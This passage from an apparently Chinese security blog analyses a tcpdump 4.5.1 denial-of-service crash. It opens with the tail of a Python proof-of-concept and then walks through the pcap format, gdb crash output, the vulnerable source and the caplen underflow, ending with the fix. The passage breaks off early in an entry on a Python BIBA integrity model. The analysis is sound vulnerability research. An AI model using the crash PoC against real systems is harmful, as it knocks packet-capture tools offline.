class="line"> try:</span><br><span class="line"> call(split(command))</span><br><span class="line"> print(&quot;Exploit successful! &quot;)</span><br><span class="line"> except:</span><br><span class="line"> print(&quot;Error: Something has gone wrong!&quot;)</span><br><span class="line">def main():</span><br><span class="line"> print(&quot;Author: David Silveiro &quot;)</span><br><span class="line"> print(&quot; tcpdump version 4.5.1 Access Violation Crash &quot;)</span><br><span class="line"> sleep(2)</span><br><span class="line"> crash()</span><br><span class="line">if __name__ == &quot;__main__&quot;:</span><br><span class="line"> main()</span><br></pre></td></tr></table></figure><h2 id="崩溃分析"><a href="#崩溃分析" class="headerlink" title="崩溃分析"></a>崩溃分析</h2><h3 id="pcap包格式"><a href="#pcap包格式" class="headerlink" title="pcap包格式"></a>pcap包格式</h3><p>首先来分析一下pcap包的格式首先是pcap文件头的内容在.h有所定义这里将结构体以及对应变量含义都列出来。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">struct pcap_file_header &#123;</span><br><span class="line"> bpf_u_int32 magic;</span><br><span class="line"> u_short version_major;</span><br><span class="line"> u_short version_minor;</span><br><span class="line"> bpf_int32 thiszone; /* gmt to local correction */</span><br><span class="line"> bpf_u_int32 sigfigs; /* accuracy of timestamps */</span><br><span class="line"> bpf_u_int32 snaplen; /* max length saved portion of each pkt */</span><br><span class="line"> bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure></p><p>看一下各字段的含义:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"> magic 4字节 pcap文件标识 目前为“d4 c3 b2 a1”</span><br><span class="line"> major 2字节 主版本号 #define PCAP_VERSION_MAJOR 2</span><br><span class="line"> minor 2字节 次版本号 #define PCAP_VERSION_MINOR 4</span><br><span class="line"> thiszone4字节 时区修正 并未使用目前全为0</span><br><span class="line"> sigfigs 4字节 精确时间戳 并未使用目前全为0</span><br><span class="line"> snaplen 4字节 抓包最大长度 如果要抓全设为0x0000ffff65535</span><br><span class="line"> tcpdump -s 0就是设置这个参数缺省为68字节</span><br><span class="line"> linktype4字节 链路类型 一般都是1ethernet</span><br><span class="line"></span><br><span class="line">struct pcap_pkthdr &#123;</span><br><span class="line"> struct timeval ts; /* time stamp */</span><br><span class="line"> bpf_u_int32 caplen; /* length of portion present */</span><br><span class="line"> bpf_u_int32 len; /* length this packet (off wire) */</span><br><span class="line">&#125;;</span><br><span class="line">struct timeval &#123;</span><br><span class="line"> long tv_sec; /* seconds (XXX should be time_t) */</span><br><span class="line"> suseconds_t tv_usec; /* and microseconds */</span><br><span class="line">&#125;;</span><br><span class="line"> ts 8字节 抓包时间 4字节表示秒数4字节表示微秒数</span><br><span class="line"> caplen4字节 保存下来的包长度最多是snaplen比如68字节</span><br><span class="line"> len 4字节 数据包的真实长度如果文件中保存的不是完整数据包可能比caplen大</span><br></pre></td></tr></table></figure></p><p>其中len变量是值得关注的因为在crash文件中对应len变量的值为00 3C 9C 37<br>这是一个很大的值读取出来就是379C3C00数非常大实际上在wireshark中打开这个crash文件就会报错会提示这个数据包的长度已经超过了范围而换算出来的长度就是379C3C00这是触发漏洞的关键。</p><h3 id="gdb调试"><a href="#gdb调试" class="headerlink" title="gdb调试"></a>gdb调试</h3><p>首先通过gdb运行tcpdump用-r参数打开poc生成的crashtcp崩溃到达漏洞触发位置<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">1.Program received signal SIGSEGV, Segmentation fault.</span><br><span class="line">2.[----------------------------------registers-----------------------------------]</span><br><span class="line">3.EAX: 0x1</span><br><span class="line">4.EBX: 0x81e33bd --&gt; 0x0</span><br><span class="line">5.ECX: 0x2e (&apos;.&apos;)</span><br><span class="line">6.EDX: 0x0</span><br><span class="line">7.ESI: 0xbfffe201 (&apos;.&apos; &lt;repeats 14 times&gt;)</span><br><span class="line">8.EDI: 0xbfffe1db --&gt; 0x30303000 (&apos;&apos;)</span><br><span class="line">9.EBP: 0x10621</span><br><span class="line">10.ESP: 0xbfffe1ac --&gt; 0x8053caa (&lt;hex_and_ascii_print_with_offset+170&gt;: mov ecx,DWORD PTR [esp+0xc])</span><br><span class="line">11.EIP: 0x8053c6a (&lt;hex_and_ascii_print_with_offset+106&gt;: movzx edx,BYTE PTR [ebx+ebp*2+0x1])</span><br><span class="line">12.EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)</span><br><span class="line">13.[-------------------------------------code-------------------------------------]</span><br><span class="line">14. 0x8053c5d &lt;hex_and_ascii_print_with_offset+93&gt;: je 0x8053d40 &lt;hex_and_ascii_print_with_offset+320&gt;</span><br><span class="line">15. 0x8053c63 &lt;hex_and_ascii_print_with_offset+99&gt;: mov ebx,DWORD PTR [esp+0x18]</span><br><span class="line">16. 0x8053c67 &lt;hex_and_ascii_print_with_offset+103&gt;: sub esp,0x4</span><br><span class="line">17.=&gt; 0x8053c6a &lt;hex_and_ascii_print_with_offset+106&gt;: movzx edx,BYTE PTR [ebx+ebp*2+0x1]</span><br><span class="line">18. 0x8053c6f &lt;hex_and_ascii_print_with_offset+111&gt;: movzx ecx,BYTE PTR [ebx+ebp*2]</span><br><span class="line">19. 0x8053c73 &lt;hex_and_ascii_print_with_offset+115&gt;: push edx</span><br><span class="line">20. 0x8053c74 &lt;hex_and_ascii_print_with_offset+116&gt;: mov ebx,edx</span><br><span class="line">21. 0x8053c76 &lt;hex_and_ascii_print_with_offset+118&gt;: mov DWORD PTR [esp+0x18],edx</span><br><span class="line">22.[------------------------------------stack-------------------------------------]</span><br><span class="line">23.0000| 0xbfffe1ac --&gt; 0x8053caa (&lt;hex_and_ascii_print_with_offset+170&gt;: mov ecx,DWORD PTR [esp+0xc])</span><br><span class="line">24.0004| 0xbfffe1b0 --&gt; 0xb7fff000 --&gt; 0x23f3c</span><br><span class="line">25.0008| 0xbfffe1b4 --&gt; 0x1</span><br><span class="line">26.0012| 0xbfffe1b8 --&gt; 0x2f5967 (&apos;gY/&apos;)</span><br><span class="line">27.0016| 0xbfffe1bc --&gt; 0x0</span><br><span class="line">28.0020| 0xbfffe1c0 --&gt; 0x0</span><br><span class="line">29.0024| 0xbfffe1c4 --&gt; 0x7ffffff9</span><br><span class="line">30.0028| 0xbfffe1c8 --&gt; 0x81e33bd --&gt; 0x0</span><br><span class="line">31.[------------------------------------------------------------------------------]</span><br><span class="line">32.Legend: code, data, rodata, value</span><br><span class="line">33.Stopped reason: SIGSEGV</span><br><span class="line">34.hex_and_ascii_print_with_offset (ident=0x80c04af &quot;\n\t&quot;, cp=0x8204000 &lt;error: Cannot access memory at address 0x8204000&gt;,</span><br><span class="line">35. length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91</span><br><span class="line">36.91 s2 = *cp++;</span><br></pre></td></tr></table></figure></p><p>从崩溃信息来看出错位置为s2 = <em>cp++;崩溃原因为SIGSEGV即进程执行了一段无效的内存引用或发生段错误。可以看到问题出现在./print-ascii.c:91而且此时指针读取[ebx+ebp</em>2+0x1]的内容,可能是越界读取造成的崩溃。<br>再结合源码信息可知指针cp在自加的过程中访问到了一个没有权限访问的地址因为这是写在一个while循环里也就是是说nshorts的值偏大再看nshorts怎么来的由此nshorts = length / sizeof(u_short);可知可能是函数传入的参数length没有控制大小导致因此目标就是追踪length是如何传入的。<br>我们通过bt回溯一下调用情况。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">1.gdb-peda$ bt</span><br><span class="line">2.#0 hex_and_ascii_print_with_offset (ident=0x80c04af &quot;\n\t&quot;, cp=0x8204000 &lt;error: Cannot access memory at address 0x8204000&gt;,</span><br><span class="line">3. length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91</span><br><span class="line">4.#1 0x08053e26 in hex_and_ascii_print (ident=0x80c04af &quot;\n\t&quot;, cp=0x81e33bd &quot;&quot;, length=0xfffffff3) at ./print-ascii.c:127</span><br><span class="line">5.#2 0x08051e7d in ieee802_15_4_if_print (ndo=0x81e1320 &lt;Gndo&gt;, h=0xbfffe40c, p=&lt;optimized out&gt;) at ./print-802_15_4.c:180</span><br><span class="line">6.#3 0x080a0aea in print_packet (user=0xbfffe4dc &quot; \023\036\b\300\034\005\b\001&quot;, h=0xbfffe40c, sp=0x81e33a8 &quot;@\377&quot;)</span><br><span class="line">7. at ./tcpdump.c:1950</span><br><span class="line">8.#4 0xb7fa3468 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.8</span><br><span class="line">9.#5 0xb7f940e3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.8</span><br><span class="line">10.#6 0x0804b3dd in main (argc=0x3, argv=0xbffff6c4) at ./tcpdump.c:1569</span><br><span class="line">11.#7 0xb7de9637 in __libc_start_main (main=0x804a4c0 &lt;main&gt;, argc=0x3, argv=0xbffff6c4, init=0x80b1230 &lt;__libc_csu_init&gt;,</span><br><span class="line">12. fini=0x80b1290 &lt;__libc_csu_fini&gt;, rtld_fini=0xb7fea880 &lt;_dl_fini&gt;, stack_end=0xbffff6bc) at ../csu/libc-start.c:291</span><br><span class="line">13.#8 0x0804c245 in _start ()</span><br></pre></td></tr></table></figure></p><p>函数调用流程<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">pcap_loop</span><br><span class="line"> |----print_packet</span><br><span class="line"> |-----hex_and_ascii_print</span><br><span class="line"> |-------- hex_and_ascii_print_with_offset</span><br></pre></td></tr></table></figure></p><p>由此可见从main函数开始了一连串函数调用git源码下来看看。<br>tcpdump.c找到pcap_loop调用<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">1. do &#123;</span><br><span class="line">2. status = pcap_loop(pd, cnt, callback, pcap_userdata);</span><br><span class="line">3. if (WFileName == NULL) &#123;</span><br><span class="line">4. /*</span><br><span class="line">5. * We&apos;re printing packets. Flush the printed output,</span><br><span class="line">6. * so it doesn&apos;t get intermingled with error output.</span><br><span class="line">7. */</span><br><span class="line">8. if (status == -2) &#123;</span><br><span class="line">9. /*</span><br><span class="line">10. * We got interrupted, so perhaps we didn&apos;t</span><br><span class="line">11. * manage to finish a line we were printing.</span><br><span class="line">12. * Print an extra newline, just in case.</span><br><span class="line">13. */</span><br><span class="line">14. putchar(&apos;n&apos;);</span><br><span class="line">15. &#125;</span><br><span class="line">16. (void)fflush(stdout);</span><br><span class="line">17. &#125;</span><br></pre></td></tr></table></figure></p><p>设置断点之后查看一下该函数的执行结果</p><p>pcap_loop通过callback指向print_packet,来看一下它的源码<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">1.static void</span><br><span class="line">2.print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp)</span><br><span class="line">3.&#123;</span><br><span class="line">4. struct print_info *print_info;</span><br><span class="line">5. u_int hdrlen;</span><br><span class="line">6. ++packets_captured;</span><br><span class="line">7. ++infodelay;</span><br><span class="line">8. ts_print(&amp;h-&gt;ts);</span><br><span class="line">9. print_info = (struct print_info *)user;</span><br><span class="line">10. /*</span><br><span class="line">11. * Some printers want to check that they&apos;re not walking off the</span><br><span class="line">12. * end of the packet.</span><br><span class="line">13. * Rather than pass it all the way down, we set this global.</span><br><span class="line">14. */</span><br><span class="line">15. snapend = sp + h-&gt;caplen;</span><br><span class="line">16. if(print_info-&gt;ndo_type) &#123;</span><br><span class="line">17. hdrlen = (*print_info-&gt;p.ndo_printer)(print_info-&gt;ndo, h, sp);&lt;====</span><br><span class="line">18. &#125; else &#123;</span><br><span class="line">19. hdrlen = (*print_info-&gt;p.printer)(h, sp);</span><br><span class="line">20. &#125;</span><br><span class="line">21. putchar(&apos;n&apos;);</span><br><span class="line">22. --infodelay;</span><br><span class="line">23. if (infoprint)</span><br><span class="line">24. info(0);&#125;</span><br></pre></td></tr></table></figure></p><p>同样设置断点看该函数是如何调用执行的</p><p>这是我们可以根据call的信息计算出调用的函数名</p><p>其中(*print_info-&gt;p.ndo_printer)(print_info-&gt;ndo,h,sp)指向ieee802_15_4_if_print</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line">25.u_int</span><br><span class="line">26.ieee802_15_4_if_print(struct netdissect_options *ndo,</span><br><span class="line">27.const struct pcap_pkthdr *h, const u_char *p)</span><br><span class="line">28.&#123;</span><br><span class="line">29.printf(&quot;address : %x\n&quot;,p);</span><br><span class="line">30.u_int caplen = h-&gt;caplen; //传入的caplen赋值给无符号整形变量caplen,且该值为8</span><br><span class="line">31.int hdrlen;</span><br><span class="line">32.u_int16_t fc;</span><br><span class="line">33.u_int8_t seq;</span><br><span class="line">34.if (caplen &lt; 3) &#123; //不满足</span><br><span class="line">35.ND_PRINT((ndo, &quot;[|802.15.4] %x&quot;, caplen));</span><br><span class="line">36.return caplen;</span><br><span class="line">37.&#125;</span><br><span class="line">38.fc = EXTRACT_LE_16BITS(p);</span><br><span class="line">39.hdrlen = extract_header_length(fc);</span><br><span class="line">40.seq = EXTRACT_LE_8BITS(p + 2);</span><br><span class="line">41.p += 3;</span><br><span class="line">42.caplen -= 3;//此时caplen = 5</span><br><span class="line">43.ND_PRINT((ndo,&quot;IEEE 802.15.4 %s packet &quot;, ftypes[fc &amp; 0x7]));</span><br><span class="line">44.if (vflag)</span><br><span class="line">45.ND_PRINT((ndo,&quot;seq %02x &quot;, seq));</span><br><span class="line">46.if (hdrlen == -1) &#123;</span><br><span class="line">47.ND_PRINT((ndo,&quot;malformed! &quot;));</span><br><span class="line">48.return caplen;</span><br><span class="line">49.&#125;</span><br><span class="line">50.if (!vflag) &#123;</span><br><span class="line">51.p+= hdrlen;</span><br><span class="line">52.caplen -= hdrlen;</span><br><span class="line">53.&#125; else &#123;</span><br><span class="line">54.u_int16_t panid = 0;</span><br><span class="line">55.switch ((fc &gt;&gt; 10) &amp; 0x3) &#123;</span><br><span class="line">56.case 0x00:</span><br><span class="line">57.ND_PRINT((ndo,&quot;none &quot;));</span><br><span class="line">58.break;</span><br><span class="line">59.case 0x01:</span><br><span class="line">60.ND_PRINT((ndo,&quot;reserved destination addressing mode&quot;));</span><br><span class="line">61.return 0;</span><br><span class="line">62.case 0x02:</span><br><span class="line">63.panid = EXTRACT_LE_16BITS(p);</span><br><span class="line">64.p += 2;</span><br><span class="line">65.ND_PRINT((ndo,&quot;%04x:%04x &quot;, panid, EXTRACT_LE_16BITS(p)));</span><br><span class="line">66.p += 2;</span><br><span class="line">67.break;</span><br><span class="line">68.case 0x03:</span><br><span class="line">69.panid = EXTRACT_LE_16BITS(p);</span><br><span class="line">70.p += 2;</span><br><span class="line">71.ND_PRINT((ndo,&quot;%04x:%s &quot;, panid, le64addr_string(p)));</span><br><span class="line">72.p += 8;</span><br><span class="line">73.break;</span><br><span class="line">74.&#125;</span><br><span class="line">75.ND_PRINT((ndo,&quot;&lt; &quot;);</span><br><span class="line">76.switch ((fc &gt;&gt; 14) &amp; 0x3) &#123;</span><br><span class="line">77.case 0x00:</span><br><span class="line">78.ND_PRINT((ndo,&quot;none &quot;));</span><br><span class="line">79.break;</span><br><span class="line">80.case 0x01:</span><br><span class="line">81.ND_PRINT((ndo,&quot;reserved source addressing mode&quot;));</span><br><span class="line">82.return 0;</span><br><span class="line">83.case 0x02:</span><br><span class="line">84.if (!(fc &amp; (1 &lt;&lt; 6))) &#123;</span><br><span class="line">85.panid = EXTRACT_LE_16BITS(p);</span><br><span class="line">86.p += 2;</span><br><span class="line">87.&#125;</span><br><span class="line">88.ND_PRINT((ndo,&quot;%04x:%04x &quot;, panid, EXTRACT_LE_16BITS(p)));</span><br><span class="line">89.p += 2;</span><br><span class="line">90.break;</span><br><span class="line">91.case 0x03:</span><br><span class="line">92.if (!(fc &amp; (1 &lt;&lt; 6))) &#123;</span><br><span class="line">93.panid = EXTRACT_LE_16BITS(p);</span><br><span class="line">94.p += 2;</span><br><span class="line">95.&#125;</span><br><span class="line">96.ND_PRINT((ndo,&quot;%04x:%s &quot;, panid, le64addr_string(p))));</span><br><span class="line">97.p += 8;</span><br><span class="line">98.break;</span><br><span class="line">99.&#125;</span><br><span class="line">100.caplen -= hdrlen;</span><br><span class="line">101.&#125;</span><br></pre></td></tr></table></figure><p>传入的第二个值是struct pcap_pkthdr *h结构体函数使用的参数caplen就是结构体中的caplen不难看出caplen进行一些加减操作后没有判断正负直接丢给了下一个函数使用。<br>直接跟进函数,看看最后赋值情况</p><p>从源码和调试信息可以看到libpcap在处理不正常包时不严谨导致包的头长度hdrlen竟然大于捕获包长度caplen并且在处理时又没有相关的判断。hdrlen和caplen都是非负整数导致caplen==0xfffffff3过长。<br>继续跟进hex_and_asciii_print(ndo_default_print)</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">1.void</span><br><span class="line">2.hex_and_ascii_print(register const char *ident, register const u_char *cp,</span><br><span class="line">3. register u_int length)</span><br><span class="line">4.&#123;</span><br><span class="line">5. hex_and_ascii_print_with_offset(ident, cp, length, 0);</span><br><span class="line">6.&#125;</span><br><span class="line"></span><br><span class="line">其中length==0xfffffff3继续执行</span><br><span class="line">1.void</span><br><span class="line">2.hex_print_with_offset(register const char *ident, register const u_char *cp, register u_int length,</span><br><span class="line">3. register u_int oset)</span><br><span class="line">4.&#123;</span><br><span class="line">5. register u_int i, s;</span><br><span class="line">6. register int nshorts;</span><br><span class="line">7.</span><br><span class="line">8. nshorts = (u_int) length / sizeof(u_short);</span><br><span class="line">9. i = 0;</span><br><span class="line">10. while (--nshorts &gt;= 0) &#123;</span><br><span class="line">11. if ((i++ % 8) == 0) &#123;</span><br><span class="line">12. (void)printf(&quot;%s0x%04x: &quot;, ident, oset);</span><br><span class="line">13. oset += HEXDUMP_BYTES_PER_LINE;</span><br><span class="line">14. &#125;</span><br><span class="line">15. s = *cp++; &lt;======= 抛出错误位置</span><br><span class="line">16. (void)printf(&quot; %02x%02x&quot;, s, *cp++);</span><br><span class="line">17. &#125;</span><br><span class="line">18. if (length &amp; 1) &#123;</span><br><span class="line">19. if ((i % 8) == 0)</span><br><span class="line">20. (void)printf(&quot;%s0x%04x: &quot;, ident, oset);</span><br><span class="line">21. (void)printf(&quot; %02x&quot;, *cp);</span><br><span class="line">22. &#125;</span><br><span class="line">nshorts=(u_int) length / sizeof(u_short) =&gt; nshorts=0xfffffff3/2=7FFFFFF9</span><br></pre></td></tr></table></figure><p>但数据包数据没有这么长导致了crash。</p><h3 id="内存分析"><a href="#内存分析" class="headerlink" title="内存分析"></a>内存分析</h3><p>仔细分析之后发现通过len判断的这个长度并没有进行控制如果是自己构造的一个超长len的数据包则会连续读取到不可估计的值。<br>通过查看epx的值来看一下这个内存到底开辟到什么位置<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">1.gdb-peda$ x/10000000x 0x81e33bd</span><br><span class="line">2.0x8203fdd: 0x00000000 0x00000000 0x00000000 0x00000000</span><br><span class="line">3.0x8203fed: 0x00000000 0x00000000 0x00000000 0x00000000</span><br><span class="line">4.0x8203ffd: Cannot access memory at address 0x8204000</span><br></pre></td></tr></table></figure></p><p>可以看到到达0x 8204000附近的时候就是无法读取的无效地址了那么初始值为0x 81e33bd用两个值相减。0x 8204000-0x 81e33bd = 0x 20c40因为ebx+ebp*2+0x1一次读取两个字节那么循环计数器就要除以2最后结果为0x 10620。<br>来看一下到达拒绝服务位置读取的长度EBX: 0x81e33bd &gt; 0x0EBP: 0x10621<br>EBP刚好为10621。正是不可读取内存空间的地址因此造成拒绝服务。</p><h3 id="漏洞总结"><a href="#漏洞总结" class="headerlink" title="漏洞总结"></a>漏洞总结</h3><p>总结一下整个漏洞触发过程首先tcpdump会读取恶意构造的pcap包在构造pcap包的时候设置一个超长的数据包长度tcpdump会根据len的长度去读取保存在内存空间数据包的内容当引用到不可读取内存位置时会由于引用不可读指针造成拒绝服务漏洞。</p><h2 id="漏洞修补"><a href="#漏洞修补" class="headerlink" title="漏洞修补"></a>漏洞修补</h2><p>Libpcap依然是apt安装的默认版本tcpdump使用4.7 .0-bp版本<br>在hex_and_ascii_print_with_offset中增加对caplength的判断<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">1.caplength = (ndo-&gt;ndo_snapend &gt;= cp) ? ndo-&gt;ndo_snapend - cp : 0;</span><br><span class="line">2.if (length &gt; caplength)</span><br><span class="line">3. length = caplength;</span><br><span class="line">4.nshorts = length / sizeof(u_short);</span><br><span class="line">5.i = 0;</span><br><span class="line">6.hsp = hexstuff; asp = asciistuff;</span><br><span class="line">7.while (--nshorts &gt;= 0) &#123;</span><br><span class="line">8. ...</span><br><span class="line">9.&#125;</span><br></pre></td></tr></table></figure></p><p>可以看到执行完caplength = (ndo-&gt;ndo_snapend &gt;= cp) ? ndo-&gt;ndo_snapend - cp : 0;caplength为0继续执行可以推出length同样为0到这里已经不会发生错误了。</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://www.exploit-db.com/exploits/39875/" target="_blank" rel="noopener">exploit-db payload</a><br><a href="https://whereisk0shl.top/post/2016-10-23-1" target="_blank" rel="noopener">WHEREISK0SHL分析博客</a><br><a href="https://github.com/the-tcpdump-group" target="_blank" rel="noopener">libpcap/tcpdump源码</a></p>]]></content>
<categories>
<category> 二进制漏洞 </category>
</categories>
<tags>
<tag> TCPDUMP </tag>
<tag> 拒绝服务攻击 </tag>
</tags>
</entry>
<entry>
<title>利用python实现BIBA模型</title>
<link href="/2018/11/16/BIBA%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E6%A8%A1%E5%9E%8B%E5%AE%9E%E7%8E%B0(python)/"/>
<url>/2018/11/16/BIBA%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E6%A8%A1%E5%9E%8B%E5%AE%9E%E7%8E%B0(python)/</url>
<content type="html"><![CDATA[<h1 id="基于python语言的BIBA模型图形界面实现"><a href="#基于python语言的BIBA模型图形界面实现" class="headerlink" title="基于python语言的BIBA模型图形界面实现"></a>基于python语言的BIBA模型图形界面实现</h1><h2 id="实验目的:"><a href="#实验目的:" class="headerlink" title="实验目的:"></a>实验目的:</h2><ol><li><strong>查阅资料了解biba安全模型的相关知识</strong></li><li><strong>通过编程实现基于biba模型的完整性访问控制进一步掌握biba模型的规则</strong></li><li><strong>使用python语言实现熟练pyqt的图形界面设计方法</strong></li></ol><hr><h2 id="实验环境:"><a href="#实验环境:" class="headerlink" title="实验环境:"></a>实验环境:</h2><ul><li>操作系统Windows10</li><li>工具版本python3.7pyqt5</li></ul><hr><h2 id="实验原理:"><a href="#实验原理:" class="headerlink" title="实验原理:"></a>实验原理:</h2><h4 id="什么是安全模型"><a href="#什么是安全模型" class="headerlink" title="什么是安全模型"></a>什么是安全模型</h4><ul><li>系统的元素 <blockquote><p>具有行为能力的主体<br>不具有行为能力的客体</p></blockquote></li><li>系统的操作行为<blockquote><p>可以执行的命令:读、写、执行</p></blockquote></li><li>对系统行为的约束方式<blockquote><p>对行为的控制策略</p></blockquote></li><li>模型从抽象层次规定了系统行为和约束行为的方式</li><li>模型往往用状态来表示<blockquote><p>系统行为所依赖的环境<br>行为对系统产生的效果</p></blockquote><h4 id="biba完整性模型"><a href="#biba完整性模型" class="headerlink" title="biba完整性模型"></a>biba完整性模型</h4><ul><li>完整性威胁问题<blockquote><p>完整性的威胁就是一个子系统在初始时刻认为不正常的修改行为;<br>来源:内部&amp;外部;<br>类型:直接&amp;间接</p></blockquote></li></ul></li></ul><table><thead><tr><th>外部的直接</th><th>外部的间接</th><th>内部的直接</th><th>内部的间接</th></tr></thead><tbody><tr><td>外部系统恶意地篡改另一个系统的数据或程序</td><td>一个外部系统插入恶意的子程序</td><td>修改自己的代码</td><td>修改自己的指针</td></tr></tbody></table><ul><li>biba模型的完整性定义<blockquote><p>完整性级别高的实体对完整性低的实体具有完全的支配性,反之如果一个实体对另一个实体具有完全的控制权,说明前者完整性级别更高,这里的实体既可以是主体也可以是客体。<br>完整性级别和可信度有密切的关系,完整级别越高,意味着可信度越高。</p></blockquote></li><li>biba模型的规则 </li></ul><ul><li style="list-style: none"><input type="checkbox"> 